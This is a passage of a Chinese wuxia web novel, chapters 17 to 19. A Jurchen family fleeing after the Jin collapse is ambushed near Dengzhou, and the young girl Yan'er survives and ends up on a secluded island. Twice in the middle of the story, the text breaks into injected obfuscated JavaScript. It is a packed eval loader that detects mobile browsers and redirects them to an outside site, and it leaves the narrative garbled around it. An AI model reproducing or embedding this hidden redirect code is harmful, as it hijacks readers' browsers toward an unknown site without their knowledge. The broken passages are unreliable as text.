前有蒙人烧杀抢掠,后有金廷横征暴敛,北方各地民怨沸天。人们穿起红袄、裹起红巾,纷纷响应义军,誓要驱除鞑虏。战局愈演愈烈,最终金军腹背受敌,于三峰山惨败,大势已去。 登州地处齐鲁之东,滨海一隅,得以偏安。其南部有山,其间有座五进院落。日出之时,丹霞流宕,阳光自东面射来,照在金丝楠木的牌匾上,“栖霞山庄”四个大字熠熠生辉。 时值二月中旬,院外春风料峭,院内桃花正盛。一美妇人神色焦急地奔走着,嘴里喊着“雁儿、雁儿”,寻遍了各个角落,最终来到了后堂。 后堂只有一鼎两人高的紫金炼丹炉坐镇。此物积了厚厚一层灰,抬也抬不走,用也用不了,藏个人倒是不在话下。 果不其然,妇人刚蹲下来,便见丹炉后多了一双小脚丫。 她掩面窃笑,猫着步子走到丹炉后,抱起个小女娃就往外冲。女娃约莫六岁,被母亲锁在怀里,从后院到前门一路哭喊着: “我不要走!我不想离开家!” 妇人连哄带骗,总算把小女娃送进了院外马车内,叮嘱了一句 “不要吵到老太爷”后,又径直向院内祠堂走去。 祠堂门大开,这狭小的屋舍上上下下,竟供奉着几十个灵牌。 神龛前跪坐着一个男人,正当而立之年,却了无生气。他面容清癯,银簪束发,长衫右衽,若不是右侧袖管空空、腰间还配着把白玉银剑,倒像是一代鸿儒。 妇人见男子迟迟未动,轻声道:“爱根,该走了。” 上香之人便是这栖霞山庄庄主蒲鲜玉鹏,门前妇人乃其妻必兰氏。而那几十个灵位,大多是栖霞山四十年来死去的猛安谋克们。 金国朝廷为镇压及管辖领地内的汉人,曾调遣猛安谋克至各地。猛安辖千户、谋克辖百户,以氏族血脉相结,平时屯田佃农,战时妇孺皆兵、所向披靡。 半年前,蒙军长驱直入,汴京、中京相继沦陷。蒲鲜玉鹏的哥哥、侄子带领栖霞山仅剩的三百兵士千里勤王,与宰相忽斜虎会和后,护送皇帝退守蔡州城。 蒲鲜氏连斥候都上了战场,栖霞山庄苦等了三个月没有蔡州城任何消息。于是年关刚过,玉鹏亲自动身前去打探消息。 谁知到了蔡州城外,却见城墙上插着宋军将领孟珙的大旗。城内满目疮痍,腥骚弥漫,街道上堆积着被吃干抹净的尸骸,如无间地狱。 正月岁寒,皇帝自缢,宰相投水,将士殉国,蒲鲜全氏族兵战死。 山河犹在,世间再无大金,中原亦再无女真人容身之地。 从血污的官沟中撤离时,玉鹏发现了一息尚存的侄子蒲鲜云鹰。彼时云鹰被藏在战马腹中,怀里抱着父亲的佩剑,乱发冻在了马皮上,饿得浑身皮包骨,玉鹏单臂便能抱起他。 叔侄二人回到栖霞山庄,耗尽家财遣散了一众家眷及佃农,让其南下的日子好过些,而蒲鲜家则决定北上流亡,去寻一条生路。 蒲鲜玉鹏在神龛前上了香,又三叩首,全然一副汉人做派。 临行前他绕道书房,将最心爱的桐木琴敛入盒内带好,最后望了眼院内光景,拴上了栖霞山庄的大门。 ------------------------------------- 此次北上一行不过七人,除蒲鲜家外,就只有秦家父子了。 老秦是山庄管事,亦是秦怀安的父亲。他佃农出身,早年间蒙兵洗劫燕赵之地时没了家,幸得蒲鲜家收留,于是鞍前马后地伺候了三十年。 虽不同族也不同出身,蒲鲜家对老秦一直如自家人一般,玉鹏还收其独子秦怀安为徒传授武艺。 他捡回一条命,本以为可以勤勤恳恳地过一辈子,谁知今日又要流亡了。 身为氏族首领猛安孛堇,老太爷蒲鲜凤鸣望着车窗外绵延的山林,许久后终于开口:“庄主收到商船的消息了?” 玉鹏毕恭毕敬地回道:“昨晚刚收到的。此次孩儿以重金相托,那商船现下已经在登州港候着了。” 必兰氏亦用女真话帮衬道:“阿敏放心,我们同那些流民不同,我们北上是为投奔大真国。那国王乃是咱家宗亲,北至上京,南至高丽,尽是我女真族人!” 老爷子眼皮动了动:“好是好,但别忘了,抵达以前要讲官话。” “阿敏无须多虑。”玉鹏道,“我们下了山就直奔港口,不用跟旁人打交道。此行借道高丽,与登州隔海相望,最多三日就到了!届时我们可以歇几日,再继续北上。” 老爷子陷入了沉默,倒是那小女娃从瞌睡中醒来,揉着眼睛道:“高丽是哪里?阿敏和额涅可曾去过?那里人吃什么穿什么?说官话还是女真话?” 必兰氏被女儿的这一连串问题问住了。她一谋克之女,连黄河都没越出过,遑论海那头的高丽和北去千里的大真国? 思及此,连她自己都心慌起来,只能摸摸女儿的头:“你呀,人小问题倒不少。多睡一会儿吧,雁儿,今后几天可累着呐!” 可雁儿刚刚睡醒有了精神,便扒着车窗伸头向外看。 后面两辆太平车装满辎重,由堂哥蒲鲜云鹰和秦怀安赶着。秦怀安十三、四岁的年纪,生平第一次驾车,此刻满脸灰黄,瞎猫打架似地扇着前车扬起的黄尘,惹得雁儿格格大笑。 “怀安哥,你怎么变成那‘泥菩萨剁酱’,自身难——哎呦!” 必兰氏弹了她的脑门,训斥道:“谁教你的?以后好好学官话,别惹人生厌!” 雁儿见远处的秦怀安丝毫没有生气,反而憨憨地冲她招了招手,便努嘴道:“怀安哥才没生气呢!这么多哥哥里,就属怀安哥对雁儿最好了!” 没人理睬,她只得闭上嘴扒在车窗边找乐子。 道路两旁田地皆已荒芜,官道上流民众多,曾经街巷闹市里生龙活虎的人们,在漫天尘土中皆是一样的面孔。 有拿小车推着妻儿的,有牵驴赶牛拉着大批家当的,也有两手空空双目发直的“游魂”,在人群中举步维艰。 偶尔还有衣不蔽体的孩童穿梭其间,见到蒲鲜家车马后一路追赶,却一无所获,只得茫然杵在原地,被黄尘隐去了身影。 流民队伍向南方蔓延,蒲鲜家则背道而驰。 无数次的擦肩而过让雁儿不禁疑惑:为何同是生在登州,境况却如此不同?为什么这些人明明长得和自家人一样,却要这般南北分明? 每当有快马经过时,总有人如惊弓之鸟,大喊着“鞑子来啦”,引得周围一片恐慌逃窜,家当散得到处都是。蒲鲜家的马车走走停停,直至申时才到达登州府署蓬莱县,便在城南“南天门”外一家茶摊围桌而坐。 桌上摆着清粥、炊饼、和一碟腌得乌黑的芜菁。雁儿第一次下山,好奇得紧,根本无心理会那飘着糠粒的稀粥。 她听着地上的货郎摇着铃,望着天边的晚霞卷又舒,数着城门的楼阁一层层,又见那瓮城中的红日光变成了一队红衣兵。 这些红衣兵腰挎大刀、手执长枪,气势汹汹地朝茶摊走来。 店家见状,抱起银钱就跑。蒲鲜家见来者不善,亦收拾残局往马车方向撤离,却还是没来得及,被红衣人挡住去路。 “蒲鲜老儿!” 领头的红衣人身着甲胄,腰束长刀,指着老太爷大声呼喝,“本想过几日去栖霞山庄拜会拜会你,怎料今日你自己送上门来了!” 蒲鲜玉鹏只想尽快赶到登州港口,不愿惹事生非,行了个礼道:“官爷怕是认错了人,在下一家是这登州莱州一带行商的,不曾认识什么蒲鲜老儿。” 老秦闻言,掏出自己的腰牌递上去,附和道:“是呀官爷,我们姓秦,可是地地道道的汉人呐!” 头领将信将疑地接过腰牌验过,细细地打量了眼前麻衣布衫的几人,又瞟了一眼远处载满辎重的马车,终于信了老秦的话,拱手道:“原来是秦家商贾,失礼了!” 他还回腰牌,抬手间,红衣兵纷纷退下。玉鹏见有惊无险,谢过领头人后招呼家人上车。 必兰氏拉紧女儿的手起身便走,不料刚离桌十来步,就听女儿嘤嘤道:“额涅,雁儿好饿,想吃肉……” 她惊得一觳觫,赶忙捂住了女儿的嘴,心中祈求千万不要被红衣兵们听到,但耳后却还是传来一声大喝—— “等等!” 顷刻间,蒲鲜家一众人再次被围住。 头领慢慢走向雁儿,老秦欲阻拦,却被玉鹏示意先静观其变。雁儿死死地拽住母亲的衣角,瞪着朝她走来的红衣人。 “小娃娃,”头领弯下腰,皮笑肉不笑地问,“你全名叫啥呀?” 雁儿“蒲”字还没到嘴边,忽然想起方才老秦介绍自己是秦家人,便学着当地人口音大声道:“俺大号叫秦!归!雁!” 三十来个红衣兵一阵哄笑,只有蒲鲜一家人眉头紧锁。 头领梗了梗脖子,指着必兰氏,又问:“她是你什么人呀?” “我额涅。” 头领又指了指蒲鲜玉鹏:“他又是你什么人?” “我阿敏。” 蒲鲜玉鹏见势不妙,赶忙插言呵斥:“瞎学什么王公贵胄!就不能好好叫爹娘么!” 雁儿一愣,不知父亲所言何意,紧紧地闭上了嘴巴。这头领仍不罢休,一双眼豺狼似地盯着她,指着老秦道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说话间,他长枪一横,指向蒲鲜凤鸣:“交出昆吾剑,咱家便饶你们性命!” 老太爷见这人终于露出了真面目,一振衣袖,朗声笑道:“老朽两手空空,这昆吾剑早就被鞑子捡走了!况且,你既听说过老朽的往事,又怎不知龙门派同我的交易?当年虚静子赵道坚以栖霞山同昆吾剑,换我永世不扩一寸土地、不纳汉人为奴。如今四十多年过去了,我依旧信守承诺,又何须归还任何事物?” “你们女真狗贼欠得多了,又何止一把剑!” 蔡锐终于失去耐性,使了个眼色,一众红衣兵抬起刀枪指向蒲鲜家。玉鹏与云鹰见状,也拔剑指向执刀之人。 “你们栖霞剑法再快,也敌不过我这几十把乱枪!”蔡锐不遑多让,“蒲鲜老儿,我再给你次机会,交出昆吾剑。不然连这女娃也算上,我还能多缴六个半的金贼人头领赏!” 自知一旦起干戈,身后妇孺必定讨不得好处,无奈之下,蒲鲜凤鸣两袖一甩:“罢了,不过是身外之物。你放过这几个后生,我将那宝剑交予你便是!” “你这老儿到也识时务!”蔡锐一脸得逞样,示意红衣兵们让出一条道,随后将手一摊,“那咱家就笑纳了!” 老爷子对云鹰抬手道:“孙儿,把你的剑给我。” “可是……” 云鹰刚想说什么,见一旁的蒲鲜玉鹏冲他点了点头,便将手中朱红长剑入鞘递给老爷子,转而对秦怀安小声道:“带叔母她们上车。” 老太爷端着剑,细细地抚过那剑身,好生不舍,拿到眼前最后端详了一番。 此剑轻细,长二十寸有余,宽则只有两指。剑首、剑格、鞘口皆是以红铜铸成的莲花纹饰,上嵌几颗红玉髓。剑柄、剑鞘皆是朱漆红木,最夺目的当属那目盯——一颗浑圆玉润红珊瑚,仿佛真的似颗目珠在盯着人看。 蔡锐登时馋了眼:“这等宝物,待咱家献给李少保,也算物尽其用了!” 他抖了抖手,一名红衣兵将刀架到老爷子脖后,另一名红衣兵上前欲夺那剑。 蒲鲜凤鸣岿然不动,手却紧紧握住了剑身。 他是氏族的孛堇,大金国最后的猛安谋克,铁马冰河,世袭罔替,怎容得一无名之辈在此叫嚣? 他剑挑黄河太行,创立栖霞剑法,一生的快意恩仇都在这把剑里,怎舍得一肖小之徒染指摧残? 僵持良久,见妇孺已登上马车,他终于低声骂道:“区区草寇!” 话音未落,蒲鲜凤鸣拔剑出鞘,真气涤荡,两个红衣兵登时血溅三尺。 18.南来北往辞家路,栖霞山外道昆吾(下) 蔡锐身穿软甲,只在胸前留了个血口,仰坐在地。 蒲鲜玉鹏见状,飞身拔剑上前,直逼蔡锐命门。 可惜他失了右臂,力量身速都不及从前,而蔡锐那厮反应极快,一伸手将身旁挣扎的红衣兵扯过来,替自己挡了一剑,随后翻身跳起,架起钢刀,又挡住了扑面而来的第二剑、第三剑。 剑势汹汹,蔡锐很快便招架不住。蒲鲜玉鹏见其身形越来越低,趁机一跃而起,一招“天打雷击”朝蔡锐天灵盖劈下,却被突如其来的几根长枪拦下,随即与涌上的红衣兵缠斗起来。 另一边,老秦见开打了,也赶鸭子上架,一记“空手夺白刃”将面前红衣兵的大刀抢来,再使个“过肩摔”将其撂倒在地,最后杀猪似地给那小兵放了血。 双方刚刚撕打成一片,就听不远处“呜”地一声响。 蔡锐趁乱吹了号角,紧接着一道白光贴面而过,手中号角被蒲鲜玉鹏一剑挑飞,脸上也落了一道血印。 自知不敌,他拔腿就往瓮城里跑。 蒲鲜凤鸣招架着几个红衣兵的攻击,余光瞥见儿子正朝蔡锐追过去,怕他进了城门落不得好,大喝道:“玉鹏,莫要恋战!我们速速上车,甩掉他们!” 蒲鲜玉鹏听罢,虽心有不甘,却还是放走了蔡锐,大步流星地杀回人群。一时间,又是数道白光闪过,所到之处的十余名红衣兵中剑倒地,血流不止。 见一红衣兵欲偷袭老秦,他凌空跃起,挽手一个剑花挑了小兵的命门,与老秦靠背而立。 身后的老秦提刀挡枪,喘道:“庄主,快跟老太爷上车,我来断后!” “让这老家伙断后,怕是谁都走不了!”老太爷喝到,“留辆车,我们解决这几人后就——” “嗖”地一支箭矢破空而来,划伤了老爷子的手臂。 三人齐齐仰头,见蔡锐那厮不知何时登上了城墙,正张弓准备射出第二箭。 “赶紧撤!” 老爷子决然呵斥,蒲鲜玉鹏也不耽误时机,拽上一旁杀红眼的云鹰,飞也似地跃上车,一甩马鞭便走。 未走多远,窗边的雁儿指着城门方向大喊:“阿敏快看!” 城墙上赫然立着一排弓箭手,而瓮城中又涌出百十名红衣兵,个个身着软甲,手持七尺花枪,将老太爷与老秦二人团团围住。 大意了!玉鹏暗呼,方才动静闹太大,蔡锐那半声号角招来了正统援兵! 且不说暗箭难防,老秦武功乃半路出家,练摊子的招式显然不足为用。而老爷子年事已高,又封剑十余载,亦是是支撑不了多久。 若他拼命一搏,或许能助二老突出重围,夺车而逃。 倘若不成功呢? 侄子云鹰虽已过弱冠之年,但刚经历了蔡州城那一遭,身体尚且虚弱。想到自己若有个闪失,云鹰须带着三个妇孺,行走于陌生的白山黑水之间,蒲鲜玉鹏黯然失色。 他望着右侧空空的袖管,忆起了祠堂中以身殉国的满门英烈—— 猛安谋克护国禳敌,本该万死莫辞。 当日因身残未能为国尽忠,今日高堂命悬一线,怎能不尽孝? 最终,他把缰绳递给侄子云鹰,掀开车帘,对妻子道:“萨那罕,汉人常把‘忠孝’挂在嘴边,我……” 能言一世,拙舌一时。 支吾中,他的萨那罕把两个孩子揽入怀中,一双泪目望着他,坚定地点了点头。 有了必兰氏的默许,玉鹏解下腰间白剑扔给秦怀安:“小子,这把剑归你了,保护好大家!” “雁儿,爹爹去去就回来。”他略带歉意地冲女儿笑了笑,“月落参横,无远弗届。天总会亮的,我也总会找到你,无论多远。” 言毕,他自驾座下抽出一把剑,跃下马车,飞身冲向已被红衣兵淹没的两位老将,如一枚银针刺入了血红的海洋。 马车扬长而去,登州城外日薄西山,霞光黯淡。 ------------------------------------- 蒲鲜云鹰驱车一路疾驰,向着蓬莱阁进发。 马儿已然累得脚步趔趄,直打鼻响。他见身后无人追击,天色渐暗,便勒马歇息。 车内气氛凝重,必兰氏眼眶红肿,双手环抱着蒲鲜玉鹏留下的桐木琴盒,默默无言。 车帘被掀开,雁儿开心地叫了声“阿敏”,见来人是堂哥云鹰,又垂下了头。 秦怀安念着她一天都没吃东西,从怀里掏出了一块炊饼,道:“妹妹先吃点东西吧。虽然有点干……我去找些水来!” 说罢,他拿起两个水袋跳下车,寻着远处灯火而去。 必兰氏也强打精神整了整乱发,从行囊里拿了点吃食,递给窗外的云鹰:“到了登州港后,能否让那商船等一等,我想……” 云鹰会意,安抚道:“放心,玛法和额其克武功盖世,自不会让那些乌合之众轻易拿下。商船明日还要装载货物,他们有大把的时间赶来。” 必兰氏点了点头,紧接着鼻头又是一酸——若老太爷和玉鹏真有不测,云鹰将是她最后的依靠。 云鹰自小习武,也有军功在身,此番北上,只盼那大真国将帅能看得上他,将其收归麾下。不求出将入相,但求混个一官半职,她孤儿寡母能有个庇护,也好顺带提携一下秦怀安。 漫长的静默后,远处隐约传来喊叫声。 夜路中,秦怀安拎着两个满满的水袋,正跑得上气不接下气。 “快跑啊!”他喊得破了音,“红袄军追来了!” 蒲鲜云鹰闻声,把饼一扔,跃上驾台,也不管这马儿是否歇了过来,“驾”地一声冲了出去。 “不要丢下怀安哥!” 雁儿哭得声嘶力竭,云鹰不得不放慢车速,而远处已然传来了马蹄声。 骑兵四蹄腾空地追,片刻间离马车只剩几十丈远。为首者端起弓对准了马车,云鹰干脆一脚勾住缰绳,一脚勾住车辕,探出半个身子在车外,终于在秦怀安屁股被飞箭射中前,将他拉上了车。 秦怀安气都没来得及喘上一口,蒲鲜云鹰便把缰绳塞进了他手里,自驾座下抽出弓箭,回身站在驾座上。 “粘汉羔子,敢在老子面前玩儿这个!” 嗔骂着,他拉了满弓。双箭齐发,两百步开外的骑兵首领当即被射落马下。 “好箭法!” 秦怀安回头看了一眼,不料下一刻车轮碾上块石头。云鹰一个趔趄险些滑了下去,幸亏秦怀安手长拽住了他的腰带。 “你给我好好驾车!”云鹰吼道。 弓箭在这巴掌宽的驾座上实在施展不开,他索性跳上车顶,半跪着平衡好身形后,又是连发几箭,将前排的几名骑兵统统解决。 夜色已至,实在难以摸清这些骑兵的底细。再次张弓搭箭之际,追兵却放慢马速,收起了弓箭。 本以为他们准备打道回府,怎料个个亮出把七尺花枪,在黑暗中不知捣鼓着什么。 云鹰尚未反应过来他们有何伎俩,但听“嗖”的一声,那枪头竟如烟花般冲着马车飞来,打在一侧沙地上立刻炸开! “不好!是梨花枪!”云鹰同秦怀安齐声诧道。 此物正是当年红袄军领袖杨妙真所创的奇兵器,因其在长枪枪头下绑一竹筒,内置方术火药,点燃后如梨花爆裂飞舞,故名“梨花枪”。 持此兵器者十步之内无人敢近身,一度“天下无敌手”,后因被找出攻克法门而逐渐消亡。 谁知多年后,这兵器不仅死灰复燃,还被改进得更加恶毒! 不等二人缓过神,自黑暗中又接连射出十数发飞弹。千树万树梨花开,绽放后却难辨行迹,只有那鬼哭似的“嗖嗖”声刺破寂静,接二连三地向马车袭来。 云鹰听音辩位,挥舞箭囊奋力格挡。马车两侧“噼里啪啦”一通乱响,不肖片刻,车轮起了火。 雁儿连连尖叫,必兰氏匆忙抄起水袋,探出车窗欲灭火,却又被云鹰按了回去——原来又一波梨花飞弹已至。 未等云鹰抬起身来,一颗飞弹便直击他后背炸了开来。 猛然吃痛,他一个没站稳从车顶摔下。 “师兄!” 秦怀安惊呼,刚要勒马,但听云鹰大喊一句“继续走”,只得一咬牙继续走了下去。 回头一望,只见云鹰后背血肉模糊,一手持弓一手扣箭,怒吼一声“放马过来”后,遁入了黑暗中。 秦怀安欲哭无泪,本以为这帮追兵拿下了云鹰便会调头回去,谁知刚安静了片刻,又有几个追兵赶了上来! 马儿已然举步维艰,追兵近在咫尺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745916|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 忽然间,前方一片开阔,涛声入耳,秦怀安二话不说扯了缰绳,向东奔去。 奇怪的是,这伙骑兵追到海岸,忽然缓了下来,在海边徘徊了两圈,最终掉头回去了。 见他们放弃追击,秦怀安终于长舒一口气。 早晨上路时还有七个人,不知惹怒了哪位神明,连登州港都未到,就让这蒲鲜家一个个折戟沉沙。 他望着手边的白玉长剑,想起了师父临走前的嘱托,只得硬生生地憋住了眼泪,重整精神。 “一会儿把你们送上船,我去寻他们回来!”秦怀安对车内人道。 那蔡锐在登州城外允诺过,若是交出昆吾剑,便放家人一条生路。老太爷已然带剑留下,为何还要追着剩下的人不放? 若真是恨女真人恨到非要赶尽杀绝,为何又于唾手可得时掉头走人? 思忖间,他松了松缰绳,任由马儿去寻那路边水草。 没走几步,马踏之处忽然陷落,紧接着“呯”地一声惊天雷响,整座马车被轰飞了出去! ------------------------------------- 不知过了多久,秦怀安在沙滩上清醒过来。 一阵耳鸣目眩过后,但觉后背脖颈灼痛至极。 月光下,马车被炸得七零八落,正“劈啪”地燃烧。那马儿也是血肉横飞,彻底解脱了。 他忍着剧痛,颤颤巍巍地站起来,刚一迈腿,却被沙子里的物件绊了一下。 惶惶然低头间,一截戴着玉镯的断臂半掩在细沙之中,而不远处,必兰氏趴在血泊中毫无动静。 事已至此,他再也不用故作镇静给谁看,扑通一声跪地,撕心裂肺地哀嚎起来。 月圆之际,家破人亡。 肆无忌惮的嘶吼过后,便是万念俱灰的无力。呆坐了许久,他心中滋长着不祥的念头,正准备离开时,却听一个细细的声音传来—— “怀安哥哥……” 那声音微弱却清明,将秦怀安几欲出窍的魂魄生生拽了回去。 是雁儿,雁儿还在! 声音是从必兰氏身下传来的,他赶忙移开了那具冰凉的尸体,见雁儿完好无损地躺在地上,似醒非醒。想来定是马车触到震天雷的一瞬间,必兰氏以身躯护住了她性命。 未等雁儿坐起来,秦怀安立刻捂住她的双眼,抱起她跑了好远,直到怀中小人开始挣扎才放下。 “怀安哥,我额涅呢?”雁儿问道。 怀安犹豫了半天,只能如实回答:“师娘她……不在了……” 雁儿怔了片刻,又问:“那阿敏、云鹰哥、和玛法他们呢?” 怀安自己也只是个半大的孩童,现下同样茫然混乱,喃喃道:“我也不知道……” “那你去找他们啊!“雁儿嚎啕大哭,“我要额涅和阿敏!” “好好好,我去便是!” 秦怀安为难了半天,还是答应了,“但是你要保证,不准回到刚才的地方去,就在这里等我好不好?” 见雁儿点头,秦怀安将她带到一块礁石旁藏好。怕原路返回会有凶险,他又折回马车残骸处,翻出了蒲鲜玉鹏交给他的银白长剑。 手提宝剑,他鼓起勇气,循着来时的方向走去,年少单薄的身影很快便消失在路的尽头。 秦怀安走后,雁儿在那礁石旁等了许久。 抬头是皓月当空,低头是无尽的海潮自黑暗中翻滚而来。渐渐地,那海潮退去了许多,天将破晓。 “月落参横,无远弗届……” 雁儿反复呢喃着这句话,奈何被海风吹得浑身僵硬,终于支撑不住,想寻些衣物穿。她违背承诺,朝爆炸发生的那片海滩走去。 一步一步,骇人的景象由远及近。 本就昏沉虚弱的雁儿仿佛走进了一个噩梦。 她转身想跑,却无处可去,只能哭喊着面朝大海坐下。 以前做噩梦是会醒的,醒来后她总是会跑去找额涅。然而现在额涅就在身后,却再也醒不过来了。 哭声很快就被海潮带走,意识模糊间,远处海面飘起几盏幽幽的鬼火。 怀安哥没等来,阿敏没等来,倒是牛头马面先来了。 惊寒交迫中,雁儿倒在了海边,不省人事。 19.巉岩飞瀑身下过,俯瞰蓬瀛海天阔(上) 猎猎海风吹过,如虎啸龙吟。 雁儿沐浴在朝霞的红光之中,身体渐暖,手中尽是毛皮般的柔软温热。 睁眼一看,座下竟是一只神兽! 这神兽通体雪白,秀长的脖颈上尽是柔顺长鬣,头上生有九叉红角,似狮非狮,似鹿非鹿。此刻它脚踏祥云,凌空于沧海之上,正风驰电掣地奔走。 脚下波涛连绵翻滚,被朝霞映红,身后山林如砾石苔藓。栖霞山、登州城、蓬莱阁,一切都渐行渐远——她正向那天际飞去。 看来自己没被牛头马面接去阴曹地府,而是被神兽驮着上西天了。 她探着头,试图在下方找寻家人的踪迹,不料一个没坐稳,从空中栽了下去…… 雁儿猛地惊醒,发觉自己正躺在一土炕上。 炕上还留有余温,她出了一身大汗,抬手挡了挡刺眼的阳光。窗外清风抚过,树叶簌簌,不时伴有鸡鸣鸭叫。 这是一间简朴干净的小屋,泥胚墙面木头窗,窗边挂着两只褪了色的彩纸鸢。墙角处小炉上正煨着一罐药,罐顶上还熥着几个蜜饯,蒸汽上腾,屋内果香药香四溢。 方才的怪梦挥散不去,肚子饿得咕咕叫,她见小桌上有吃食,便凑了过去——又是碗粥,这回里面掺着碎菜叶和干贝丝。 刚要伸手,她忽地想起额涅说过不能随便碰他人之物,于是出门去寻主人家。 房门旁立着棵大树,面前是篱笆栏围起的半亩小院,石板小路周围都是菜圃,被打理得井井有条。两侧各有一间茅草屋,其中一间半敞着门,门后吱吱嘎嘎响个不停。 偷偷一瞧,一鬓发斑白的老妪正坐在织机前,脚踏手绕一通忙活。 见雁儿来,老妇人放下手中活计,脸上笑开了花:“丫头,你终于醒了!你高烧不退睡了两天,现下总算精神了!“ 不等雁儿回话,老妇人将她拉回屋子,催着她将粥喝下。吃粥时,雁儿瞥见炕上枕头所绣之物,正是那梦中的神兽。 “那是白泽。”老妇人道,“这边家家户户都有这神兽趋吉避凶。传说白泽能说人话,博古通今又能预测未来。“ “不是传说,是真的!”雁儿信誓旦旦道,“我前两日快要冻死,正是那神兽驮着我将我救下!对了,我怀安哥呢?白泽有没有将怀安哥一齐带来?” “什么白泽,明明是镜姬拼了老命才将你救下的!” 老妇人笑出了满眼褶子,“不过我没见到你说的‘怀安哥’。两日前我刚起身,有人破门而入,正是镜姬。她将你从海对岸一路背了回来,下盘湿透,甚是狼狈,你倒是趴在她背上睡得囫囵。镜姬匆匆将你托付于我便走了,想必是元气耗损,又闭关修炼了。” “什么鸡救了我?啥又是‘下盘湿透’?”雁儿听得一头糨糊。 老妇人不知该如何解释,只得将她拉出屋外,指了指院子后的高山。那高山拔地而起,苍松翠柏铺遍,山顶之上依稀有亭台楼阁。 “喏,这是玉溜山,山顶上那是罗芒宫。镜姬就是那罗芒宫宫主,把你从海那边救回来的大恩人!” “海那边?”雁儿歪了歪脑袋,“这里是高丽?” 老妇人笑答:“这里不是高丽,但离高丽很近。这岛叫仙音岛,就在蓬莱阁外海,所谓的三十二仙岛之一。蓬莱海岸蜃气浮生,总能影射这山上楼台到对岸。外面的人都当这是神仙居所、天上人间,故而取名‘仙音岛’。” 雁儿只听了个大概,却也明白这是个家人找不到的地方。 “嗵”地一声,她跪在老妇人面前,央求道:“婆婆能不能送我回去?我家人定是在寻我!我额,哦不,我娘她还……” 话未说完,她嚎啕大哭起来。 “丫头乖,不是婆婆不愿带你过海,而是过不去啊!” 老妇人将她揽在怀中,“二十多年前为了躲避战乱,罗芒宫下令封岛,不许岛内人到对岸去。岛上各家都将船劈成了木材,只留了渔筏,根本渡不了海!” “可恩人她既然能将我带来,婆婆你也一定有法子将我送回去!” 老妇人闻言,牵着雁儿的小手走出了院门。 这半亩园坐落在山坡上,山坡两侧皆是田地屋舍,一直延伸到海滩边。海上目之所及处,还有数个不相连的岛屿,除此之外便是一望无尽的碧波。 “确实还有渡海的方法,只不过要等时机。你看到最远处那个小岛了吗?” 老妇人指着海面道,“那岛南端有一石牌楼,牌楼所对的海中,埋着个石头垒的古栈桥,沿着它走就能到达对岸。但这栈桥常年在水下,无法通行,只有每六十六年春分前后的大退潮时,才能完全浮现。更不巧的是,两日前镜姬救你时,正是这几十年一遇的大退潮。” 雁儿望着远方,并未全然听懂,只隐约感觉这岛,是轻易出不去了。 “不过……这古栈桥也并非再也见不到了。” 老妇人又道,“每隔十一年的秋分前后,古栈桥会断断续续地露出一点,前后约莫半个时辰。若是有超凡的轻功,也能出岛。只可惜,轻功能到这般境界的,也只有镜姬了。” ”轻功?那又是什么?”雁儿好似抓住了一线生机,“镜姬能不能教我?” “轻功能飞檐走壁,罗芒宫的人都会,我可不懂其间门道!镜姬常年居于山上,鲜少现身,但凡下山,也是帮村民医治疑难杂症。她偶尔会带回一些孤苦伶仃的女孩收为宮人,虽然传了她们轻功,却也只是方便上下山的程度。他日你若遇到了罗芒宫人,再问也不迟!” “我也是女孩,也孤苦。婆婆带我上山吧,我去求镜姬收留,教我轻功!”雁儿依旧不罢休。 “人家若是有意收徒,早将你带回罗芒宫了,放我这里作甚?” 老妇人笑道,“再者,这镜姬仙人一般,岂是你想见就能见的吗?你到山脚下一瞧便知,上山的路就一条,还被瀑布阻断了,那意思就是根本不想让外人上去打扰!” 雁儿不信这老妇人所说——自己栖霞山上野得恣,还能被山路拦了不成? 她撇下老妇人,转身就朝山上跑。 老妇人也任由她去,只在小院门前等了一炷香的功夫,这三尺高的小人儿就抹着眼泪回来了,想来连第一块石头都没爬上去。 “我没骗你吧?”老妇人拍了拍雁儿身上的土,领着她回了小院,坐在树荫下问道:“丫头,你还没告诉我你名字呢。” 想起登州城外蔡锐盘问老秦的一幕,雁儿答道:“我叫……秦归雁。” 老妇人一脸慈眉和目:“好雁儿,你若真想让镜姬收留你,就不该枉费她救你的一片苦心,好生长大。这岛虽然不大,但也百来户人家。乱世中,她偏偏将你送进了我门里,即是缘分。从今往后,这儿就是你的家了。你若不嫌弃我老太婆,便听话,回屋先把那药喝了!” 雁儿点点头,乖乖地进屋去,端起那药大口灌了下去,又咬了口熥得热乎乎的无花果,蜜糖般的滋味将那苦头生生地压了下去。 她后来才知道这老妪姓姜,亡夫是村里的学究,曾有一子。 二十年前,蒙人南下后,金廷四处征兵,连这海外小岛也没放过,派了艘大船来岛上抓壮丁。姜老太独子被抓去充军后,再也没了消息。 那年征兵带走了岛上大半青年,却没一个回来的。村里长老与罗芒宫商计,才有了封岛一事。 据村口曲老翁讲,当年罗芒宫带头烧了自己的凤鸾沙船,镜姬在石牌楼前开坛做法,引来弥天大雾,以守护仙音岛一方安宁。 姜老太对雁儿如亲孙女一般,雁儿的官话也越说越溜,只是她隔三差五便会被梦魇惊醒。 思念来如潮涌时,她总会跑到山坡上的一棵老松树下,看滩涂潮涨潮落,看海面是否有石栈桥浮上来。 可石栈桥未曾回应过她。 半亩园里春去秋来,房前那棵大树终于结了果,正是无花果。 一日清早,雁儿又跑去山坡上观海。漫山枫叶在秋风中萧瑟,一如那日登州城外淹没了她家人的红潮。 伤春悲秋之际,身后传来了干脆利落的一句:“你成日望着那海做甚?” 雁儿吓了一跳,回头一看,背后竟不声不响地站了一个女人。 